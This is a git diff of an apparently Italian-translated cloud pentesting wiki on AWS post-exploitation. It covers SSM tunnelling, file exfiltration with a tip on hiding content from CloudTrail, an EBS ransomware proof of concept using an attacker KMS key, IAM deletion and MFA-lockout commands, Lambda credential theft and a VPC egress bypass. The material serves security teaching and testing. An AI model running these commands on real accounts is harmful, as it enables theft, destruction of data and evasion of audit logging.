environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 4. Trasferisci le credenziali sulla tua macchina nel file `$HOME/.aws/credentials` come profilo `[bastion-ec2]` 5. Accedi a EKS come Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Aggiorna il campo `server` nel file `$HOME/.kube/config` per puntare a `https://localhost` +6. Aggiorna il campo `server` nel file `$HOME/.kube/config` in modo che punti a `https://localhost` 7. Crea un tunnel SSM come segue: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Il traffico dello strumento `kubectl` viene ora instradato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al cluster EKS privato dalla tua macchina eseguendo: +8. Il traffico dallo strumento `kubectl` è ora inoltrato attraverso il tunnel SSM tramite il Bastion EC2 e puoi accedere al private EKS cluster dalla tua macchina eseguendo: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Visto che il traffico è instradato attraverso il sicuro AWS SSM tunnel, sei protetto da qualsiasi tipo di attacco MitM. +Nota che le connessioni SSL falliranno a meno che non imposti il flag `--insecure-skip-tls-verify ` (o il suo equivalente negli strumenti di audit K8s). Poiché il traffico è tunnelato attraverso il secure AWS SSM tunnel, sei al sicuro da qualsiasi tipo di attacco MitM. -Infine, questa tecnica non è specifica per l'attacco a cluster EKS privati. Puoi impostare domini e porte arbitrari per pivotare verso qualsiasi altro servizio AWS o un'applicazione personalizzata. +Infine, questa tecnica non è specifica per attaccare cluster EKS privati. Puoi impostare domini e porte arbitrarie per pivotare verso qualsiasi altro servizio AWS o un'applicazione custom. --- -#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) +#### Inoltro porta rapido Locale ↔️ Remoto (AWS-StartPortForwardingSession) -Se hai bisogno solo di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi usare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro remote host richiesto): +Se hai solo bisogno di inoltrare **una porta TCP dall'istanza EC2 al tuo host locale** puoi utilizzare il documento SSM `AWS-StartPortForwardingSession` (nessun parametro host remoto richiesto): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **without opening any inbound Security-Group rules**. +Il comando stabilisce un tunnel bidirezionale tra la tua workstation (`localPortNumber`) e la porta selezionata (`portNumber`) sull'istanza **senza aprire alcuna regola inbound di Security-Group**. Casi d'uso comuni: * **File exfiltration** -1. Sull'istanza avvia un rapido HTTP server che punti alla directory che vuoi exfiltrate: +1. Sull'istanza, avvia un semplice server HTTP che punti alla directory che vuoi esfiltrare: ```bash python3 -m http.server 8000 @@ -250,7 +251,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Suggerimento: Comprimi e cripta le prove prima di exfiltrating, così CloudTrail non registri il contenuto in chiaro: +Suggerimento: Compress e encrypt le evidenze prima di exfiltrating in modo che CloudTrail non registri il clear-text content: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -261,7 +262,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### Cerca informazioni sensibili in AMIs pubbliche e private -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze dalle AMIs di destinazione, il montaggio dei loro volumi e la scansione alla ricerca di eventuali secrets o dati sensibili. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel è uno strumento progettato per **cercare informazioni sensibili all'interno di Amazon Machine Images (AMIs) pubbliche o private**. Automatizza il processo di avvio di istanze da AMIs target, montaggio dei loro volumi e scansione per possibili secrets o dati sensibili. ### Condividi EBS Snapshot ```bash @@ -269,9 +270,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Una proof of concept simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation su S3. KMS dovrebbe essere ribattezzato RMS per Ransomware Management Service, vista la facilità con cui può essere usato per criptare vari servizi AWS. +Una prova di concetto simile alla dimostrazione di Ransomware presente nelle note di S3 post-exploitation. KMS dovrebbe essere rinominato in RMS (Ransomware Management Service) vista la facilità con cui può essere usato per cifrare vari servizi AWS. -Prima, da un account AWS 'attacker', crea una customer managed key in KMS. In questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un attore malevolo conserverebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. In questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che consente l'accesso totale si chiama 'Outside Encryption' +In primo luogo, da un account AWS 'attacker', crea una chiave gestita dal cliente in KMS. Per questo esempio lasceremo che AWS gestisca i dati della chiave per noi, ma in uno scenario realistico un attore maligno manterrebbe i dati della chiave al di fuori del controllo di AWS. Modifica la key policy per permettere a qualsiasi AWS account Principal di usare la chiave. Per questa key policy, il nome dell'account era 'AttackSim' e la regola di policy che consente l'accesso totale si chiama 'Outside Encryption'. ``` { "Version": "2012-10-17", @@ -363,7 +364,7 @@ Prima, da un account AWS 'attacker', crea una customer managed key in KMS. In qu ] } ``` -La key policy deve avere abilitati i seguenti permessi per poter essere usata per criptare un volume EBS: +La regola della key policy richiede le seguenti autorizzazioni abilitate per permettere di usarla per crittografare un volume EBS: - `kms:CreateGrant` - `kms:Decrypt` @@ -371,17 +372,17 @@ La key policy deve avere abilitati i seguenti permessi per poter essere usata pe - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Ora che abbiamo la key pubblicamente accessibile da usare. Possiamo usare un account 'victim' che ha alcune istanze EC2 avviate con volumi EBS non criptati collegati. I volumi EBS di questo account 'victim' sono il nostro obiettivo per la cifratura; questo attacco si svolge nell'ipotesi di una compromissione di un account AWS con privilegi elevati. +Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Simile all'esempio di S3 ransomware. Questo attacco creerà copie dei volumi EBS collegati usando snapshot, userà la key pubblicamente disponibile dell'account 'attacker' per cifrare i nuovi volumi EBS, poi staccherà i volumi EBS originali dalle istanze EC2 e li eliminerà, e infine eliminerà gli snapshot usati per creare i nuovi volumi EBS criptati. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Simile all'esempio di ransomware su S3. Questo attacco creerà copie dei volumi EBS collegati usando snapshot, userà la chiave pubblicamente disponibile dell'account 'attacker' per cifrare i nuovi volumi EBS, quindi staccherà i volumi EBS originali dalle istanze EC2 e li cancellerà, e infine eliminerà gli snapshot usati per creare i nuovi volumi EBS cifrati. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Il risultato è che nell'account rimarranno disponibili solo volumi EBS criptati. +Il risultato è che nell'account rimarranno disponibili solo volumi EBS cifrati. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Vale anche la pena notare che lo script ha fermato le istanze EC2 per staccare ed eliminare i volumi EBS originali. I volumi originali non criptati sono ormai scomparsi. +Da notare inoltre che lo script ha arrestato le istanze EC2 per staccare e cancellare i volumi EBS originali. I volumi originali non cifrati sono ora spariti. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) @@ -456,15 +457,15 @@ Successivamente, torna alla key policy nell'account 'attacker' e rimuovi la rego ] } ``` -Attendi un momento perché la newly set key policy si propaghi. Poi torna all'account 'victim' e prova ad allegare uno dei volumi EBS appena crittografati. Vedrai che puoi allegare il volume. +Aspetta un momento che la nuova key policy venga propagata. Poi torna all'account 'victim' e prova ad allegare uno dei volumi EBS appena criptati. Vedrai che puoi allegare il volume. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Ma quando provi effettivamente ad avviare di nuovo l'istanza EC2 con il volume EBS crittografato, l'operazione fallirà e passerà dallo stato 'pending' allo stato 'stopped' per sempre, dato che il volume EBS allegato non può essere decrittografato usando la key perché la key policy non lo permette più. +Ma quando tenti effettivamente di riavviare l'istanza EC2 con il volume EBS criptato, fallirà e passerà dallo stato 'pending' di nuovo allo stato 'stopped' per sempre, dato che il volume EBS allegato non può essere decriptato usando la key perché la key policy non lo permette più. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Questo è lo script python usato. Prende AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie crittografate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS target, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS crittografati nell'account 'victim' target. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLLERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli usando la KMS key utilizzata e ripristinarli al loro stato originale tramite snapshot, ma ci tengo ad avvisarti che in fin dei conti si tratta di una ransomware PoC. +Questo è lo script python usato. Prende AWS creds per un account 'victim' e un valore ARN AWS pubblicamente disponibile per la key da usare per la crittografia. Lo script creerà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS bersaglio, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS criptati nell'account 'victim' bersaglio. USARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E CANCELLERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli utilizzando la KMS key impiegata e ripristinarli al loro stato originale tramite snapshot, ma voglio solo avvisarti che si tratta, alla fine della giornata, di un ransomware PoC. ``` import boto3 import argparse @@ -583,6 +584,6 @@ main() ``` ## Riferimenti -- [Pentest Partners – Come trasferire file in AWS usando SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md index fb1e2c307..96db3793c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -12,13 +12,13 @@ Per maggiori informazioni sull'accesso IAM: ## Confused Deputy Problem -Se **consenti a un account esterno (A)** di accedere a un **ruolo** nel tuo account, probabilmente avrai **0 visibilità** su **chi esattamente può accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**. +Se permetti a un **account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi esattamente può accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**. -Pertanto, quando si permette a un account esterno di accedere a un ruolo nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per poter **assumere il ruolo nella tua organizzazione**. Poiché l'account esterno B **non conoscerà questa stringa**, anche se ha accesso ad A **non sarà in grado di accedere al tuo ruolo**. +Pertanto, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per poter **assume the role nella tua organizzazione**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non potrà accedere al tuo role**.
-Tuttavia, nota che questo "segreto" `ExternalId` **non è un segreto**, chiunque possa **leggere la policy di assume role IAM sarà in grado di vederlo**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, esso **impedisce a B di abusare di A per accedere al tuo ruolo**. +Tuttavia, nota che questo "segreto" `ExternalId` **non è un segreto**, chiunque possa **leggere l'IAM assume role policy sarà in grado di vederlo**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, esso **impedisce a B di abusare di A per accedere al tuo role**. Esempio: ```json @@ -39,11 +39,11 @@ Esempio: } ``` > [!WARNING] -> Per un attacker, per sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account. +> Perché un attacker possa sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account. -### Trust inaspettati +### Relazioni di trust inaspettate -#### Wildcard come principal +#### Wildcard as principal ```json { "Action": "sts:AssumeRole", @@ -51,7 +51,7 @@ Esempio: "Principal": { "AWS": "*" } } ``` -Questa policy **permette a qualsiasi entità AWS** di assumere il ruolo. +Questa policy **consente a qualsiasi servizio AWS** di assumere il ruolo. #### Servizio come principal ```json @@ -64,7 +64,7 @@ Questa policy **permette a qualsiasi entità AWS** di assumere il ruolo. ``` Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questa Lambda. -#### S3 come principal +#### S3 as principal ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ Questa policy **consente a qualsiasi account** di configurare il proprio apigate } } ``` -Se a principal viene assegnato un S3 bucket, poiché gli S3 bucket non hanno un Account ID, se hai **eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne. +Se un S3 bucket è indicato come principal, poiché gli S3 bucket non hanno un Account ID, se **hai eliminato il tuo bucket e l'attacker lo ha creato** nel proprio account, allora potrebbero abusarne. #### Non supportato ```json @@ -84,10 +84,10 @@ Se a principal viene assegnato un S3 bucket, poiché gli S3 bucket non hanno un "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condition con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (come CloudTrail secondo alcune fonti). +Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condizione con `AWS:SourceArn` per controllare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (come CloudTrail secondo alcune fonti). ### Eliminazione delle credenziali -Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificati o CloudFront public keys, oppure dissociare ruoli dagli instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi queste autorizzazioni IAM devono essere strettamente limitate e monitorate. +Con una qualunque delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere chiavi di accesso, profili di accesso, chiavi SSH, credenziali specifiche per il servizio, profili di istanza, certificati o CloudFront public keys, oppure disassociare ruoli dai profili di istanza. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi queste autorizzazioni IAM devono essere rigorosamente limitate e monitorate. ```bash # Remove Access Key of a user aws iam delete-access-key \ @@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \ --ssh-public-key-id APKAEIBAERJR2EXAMPLE ``` ### Eliminazione delle identità -Con permessi come `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un attore può cancellare utenti, ruoli o gruppi—or modificare l'appartenenza a un gruppo—rimuovendo identità e tracce associate. Questo può interrompere immediatamente l'accesso per persone e servizi che dipendono da quelle identità, causando denial-of-service o perdita di accesso, quindi queste azioni IAM devono essere strettamente limitate e monitorate. +Con permessi come `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` o `iam:RemoveUserFromGroup`, un attore può eliminare utenti, ruoli o gruppi — o modificare l'appartenenza ai gruppi — rimuovendo identità e tracce associate. Questo può interrompere immediatamente l'accesso per persone e servizi che dipendono da quelle identità, causando denial-of-service o perdita di accesso, quindi queste azioni IAM devono essere strettamente limitate e monitorate. ```bash # Delete a user aws iam delete-user \ @@ -114,7 +114,8 @@ aws iam delete-group \ aws iam delete-role \ --role-name ``` -Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o limiti delle autorizzazioni, e scollegare policy da utenti, gruppi o ruoli. Questo distrugge autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per le entità che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate. +### +Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare managed/inline policies, rimuovere versioni di policy o permissions boundaries, e scollegare policy da utenti, gruppi o ruoli. Questo distrugge autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i principals che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate. ```bash # Delete a group policy aws iam delete-group-policy \ @@ -127,7 +128,7 @@ aws iam delete-role-policy \ --policy-name ``` ### Eliminazione dell'identità federata -Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare i provider di identità OIDC/SAML o rimuovere i client IDs. Questo interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso a utenti e servizi che dipendono da SSO fino al ripristino dell'IdP o delle configurazioni. +Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare provider di identità OIDC/SAML o rimuovere client ID. Questo interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso a utenti e servizi che si basano su SSO fino a quando l'IdP o le configurazioni non vengono ripristinate. ```bash # Delete OIDCP provider aws iam delete-open-id-connect-provider \ @@ -137,8 +138,8 @@ aws iam delete-open-id-connect-provider \ aws iam delete-saml-provider \ --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS ``` -### Attivazione MFA illegittima -Con `iam:EnableMFADevice`, un attaccante può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta abilitato un MFA non autorizzato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne è richiesto soltanto uno, quindi questo attacco non impedirà l'accesso). +### Attivazione MFA non autorizzata +Con `iam:EnableMFADevice`, un attore può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di effettuare l'accesso. Una volta che un MFA non autorizzato è abilitato, l'utente può rimanere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne basta uno, quindi questo attacco non avrà effetto nel negare l'accesso). ```bash aws iam enable-mfa-device \ --user-name \ @@ -146,8 +147,8 @@ aws iam enable-mfa-device \ --authentication-code1 123456 \ --authentication-code2 789012 ``` -### Certificate/Key Metadata Tampering -With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Contrassegnando chiavi/certificati come inattivi o alterando i riferimenti, possono interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità. +### Manomissione dei metadati di certificati/chiavi +Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Contrassegnando le chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità. ```bash aws iam update-ssh-public-key \ --user-name \ @@ -160,7 +161,7 @@ aws iam update-server-certificate \ ``` ### `iam:Delete*` -Il wildcard IAM iam:Delete* concede la possibilità di rimuovere molti tipi di risorse IAM — utenti, ruoli, gruppi, policy, chiavi, certificati, dispositivi MFA, versioni di policy, ecc. — e quindi ha un raggio d'azione molto elevato: un attore a cui è concesso iam:Delete* può distruggere permanentemente identità, credenziali, policy e artefatti correlati, rimuovere audit/evidence e causare interruzioni di servizio o operative. Alcuni esempi sono +Il carattere jolly IAM iam:Delete* concede la possibilità di rimuovere molti tipi di risorse IAM — utenti, ruoli, gruppi, policy, chiavi, certificati, dispositivi MFA, versioni della policy, ecc. — e pertanto ha un blast radius molto elevato: un attore a cui viene concesso iam:Delete* può distruggere permanentemente identità, credenziali, policy e artefatti correlati, rimuovere audit/prove e causare interruzioni di servizio o operative. Alcuni esempi sono ```bash # Delete a user aws iam delete-user --user-name @@ -173,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam:::policy/ ``` ### `iam:EnableMFADevice` -Un attore a cui è stata concessa l'azione iam:EnableMFADevice può registrare un dispositivo MFA su un'identità nell'account, a condizione che l'utente non ne avesse già uno abilitato. Questo può essere usato per interferire con l'accesso di un utente: una volta che un attacker registra un dispositivo MFA, l'utente legittimo potrebbe essere impedito dall'accedere perché non controlla il MFA registrato dall'attacker. +Un actor con il permesso `iam:EnableMFADevice` può registrare un dispositivo MFA su un'identità nell'account, a condizione che il user non ne avesse già uno abilitato. Questo può essere usato per interferire con l'accesso di un user: una volta che un attacker registra un dispositivo MFA, il user legittimo potrebbe essere impedito dal sign in perché non controlla l'MFA registrato dall'attacker. -Questo attacco di negazione di accesso funziona solo se l'utente non aveva alcun MFA registrato; se l'attacker registra un dispositivo MFA per quell'utente, l'utente legittimo verrà escluso da qualsiasi flow che richieda quel nuovo MFA. Se l'utente ha già uno o più dispositivi MFA sotto il proprio controllo, aggiungere un MFA controllato dall'attacker non impedisce all'utente legittimo — questi può continuare ad autenticarsi usando qualsiasi MFA che già possiede. +Questo denial-of-access attack funziona solo se il user non aveva alcun MFA registrato; se l'attacker registra un dispositivo MFA per quel user, il user legittimo verrà bloccato da qualsiasi flows che richieda quel nuovo MFA. Se il user ha già uno o più dispositivi MFA sotto il proprio controllo, aggiungere un MFA controllato dall'attacker non blocca il user legittimo — può continuare ad authenticate usando qualsiasi MFA che già possiede. -Per abilitare (registrare) un dispositivo MFA per un utente, un attacker potrebbe eseguire: +Per abilitare (registrare) un dispositivo MFA per un user un attacker potrebbe eseguire: ```bash aws iam enable-mfa-device \ --user-name \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 6c8bd5c05..d4cd241ed 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,35 +4,35 @@ ## Lambda -For more information check: +Per maggiori informazioni consulta: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Esfiltrare credenziali Lambda +### Esfiltrare le credenziali di Lambda -Lambda usa variabili d'ambiente per iniettare credenziali durante l'esecuzione. Se puoi accedervi (leggendo `/proc/self/environ` o usando la funzione vulnerabile stessa), puoi usarle. Sono memorizzate nei nomi di variabili predefiniti `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`. +Lambda usa le variabili d'ambiente per iniettare le credenziali a runtime. Se puoi accedervi (leggendo `/proc/self/environ` o usando la funzione vulnerabile stessa), puoi usarle tu stesso. Risiedono nelle variabili di default `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` e `AWS_ACCESS_KEY_ID`. -Per default, queste hanno accesso per scrivere in un CloudWatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`), oltre che per creare gruppi di log arbitrari; tuttavia le funzioni Lambda spesso hanno permessi aggiuntivi assegnati in base al loro uso previsto. +Per impostazione predefinita, queste hanno accesso per scrivere in un cloudwatch log group (il cui nome è memorizzato in `AWS_LAMBDA_LOG_GROUP_NAME`) e per creare log group arbitrari; tuttavia le funzioni lambda spesso hanno permessi aggiuntivi assegnati in base al loro uso previsto. ### `lambda:Delete*` -Un attacker cui è concesso `lambda:Delete*` può cancellare Lambda functions, versions/aliases, layers, event source mappings e altre configurazioni associate. +Un attacker a cui è concesso `lambda:Delete*` può eliminare Lambda functions, versions/aliases, layers, event source mappings e altre configurazioni associate. ```bash aws lambda delete-function \ --function-name ``` -### Rubare le richieste URL di altre Lambda +### Steal Others Lambda URL Requests -Se un attacker in qualche modo riesce a ottenere RCE all'interno di una Lambda sarà in grado di rubare le richieste HTTP di altri utenti verso la Lambda. Se le richieste contengono informazioni sensibili (cookies, credentials...) potrà sottrarle. +Se un attacker in qualche modo riesce a ottenere RCE all'interno di una Lambda, potrà rubare le richieste HTTP di altri utenti verso la lambda. Se le richieste contengono informazioni sensibili (cookies, credentials...) potrà sottrarle. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Rubare le richieste URL di altre Lambda & le richieste di Extensions +### Steal Others Lambda URL Requests & Extensions Requests -Abusando di Lambda Layers è anche possibile sfruttare le extensions e persistere nella Lambda, oltre a rubare e modificare le richieste. +Abusing Lambda Layers è anche possibile abusare delle extensions e persistere nella lambda ma anche rubare e modificare le richieste. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -40,7 +40,7 @@ Abusando di Lambda Layers è anche possibile sfruttare le extensions e persister ### AWS Lambda – VPC Egress Bypass -Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT. +Forza una Lambda function fuori da una VPC ristretta aggiornando la sua configurazione con un VpcConfig vuoto (SubnetIds=[], SecurityGroupIds=[]). La function verrà eseguita nel networking plane gestito da Lambda, recuperando l'accesso Internet in uscita e bypassando i controlli di egress imposti dai subnet privati della VPC senza NAT. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -48,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence. +Abusa di `lambda:PutRuntimeManagementConfig` per vincolare una function a 